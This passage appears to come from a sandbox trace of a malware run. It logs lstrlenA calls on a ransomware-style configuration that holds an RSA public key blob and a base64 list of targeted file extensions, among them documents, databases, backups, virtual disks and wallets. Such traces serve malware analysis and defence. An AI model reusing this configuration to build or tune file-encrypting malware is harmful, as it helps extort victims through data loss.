ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN